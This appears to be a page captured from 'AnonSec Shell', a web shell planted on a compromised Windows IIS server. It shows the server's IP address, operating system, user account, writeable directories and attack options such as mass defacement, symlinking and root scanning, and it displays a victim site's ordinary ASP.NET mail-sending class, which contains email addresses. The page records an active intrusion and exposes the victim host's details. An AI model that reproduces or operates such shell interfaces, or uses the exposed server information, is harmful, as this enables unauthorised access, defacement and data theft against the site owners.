AnonSec Shell
Server IP : 199.79.62.161  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT MDUS-PP-WB12 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_5096(nirmaowd) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/App_Code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/App_Code/SendMailClass.cs
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Mail;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

/// <summary>
/// Summary description for SendMailClass
/// </summary>
public class SendMailClass
{
	public SendMailClass()
	{
		//
		// TODO: Add constructor logic here
		//
	}
    public static void SendMail(string fromaddr, string toaddr, string subject, string body, bool HasHtmlBody)
    {
        System.Web.Mail.MailMessage mail = new System.Web.Mail.MailMessage();
        mail.From = fromaddr;
        mail.To = toaddr;
        // mail.To = "bispageteam@gmail.com";
        mail.Body = body;
        mail.Subject = subject;
        mail.BodyFormat = MailFormat.Html;
        //SmtpMail.SmtpServer = "relay-hosting.secureserver.net";
        try
        {
            SmtpMail.Send(mail);
        }
        catch
        {
        }
    }

    public static void SendMail(string toaddr, string subject, string body, bool HasHtmlBody)
    {
        System.Web.Mail.MailMessage mail = new System.Web.Mail.MailMessage();
        mail.From = "sales@joseytours.com";
        mail.To = toaddr;
        // mail.To = "bispageteam@gmail.com";
        mail.Body = body;
        mail.Subject = subject;
        mail.BodyFormat = MailFormat.Html;
        //SmtpMail.SmtpServer = "relay-hosting.secureserver.net";
        try
        {
            SmtpMail.Send(mail);
        }
        catch
        {
        }
    }

    public static void SendMailWithBcc(string toaddr, string[] bcc, string subject, string body, bool HasHtmlBody)
    {
        System.Web.Mail.MailMessage mail = new System.Web.Mail.MailMessage();
        mail.From = "sales@joseytours.com";
        mail.To = toaddr;
        mail.Cc = "bispagetest@gmail.com";
        // mail.To = "bispageteam@gmail.com";
        mail.Body = body;
        mail.Subject = subject;
        for (int i = 0; i < bcc.Length; i++)
        {
            mail.Bcc+=bcc[i]+";";
        }
        mail.BodyFormat = MailFormat.Html;
        SmtpMail.SmtpServer = "localhost";
        //SmtpMail.SmtpServer = "relay-hosting.secureserver.net";
        try
        {
            SmtpMail.Send(mail);
        }
        catch
        {
            try
            {
                SmtpMail.SmtpServer = "";
                SmtpMail.Send(mail);

            }
            catch
            {
                SmtpMail.SmtpServer = "127.0.0.1";
                SmtpMail.Send(mail);
            }
        }
    }
}

Anon7 - 2022
AnonSec Team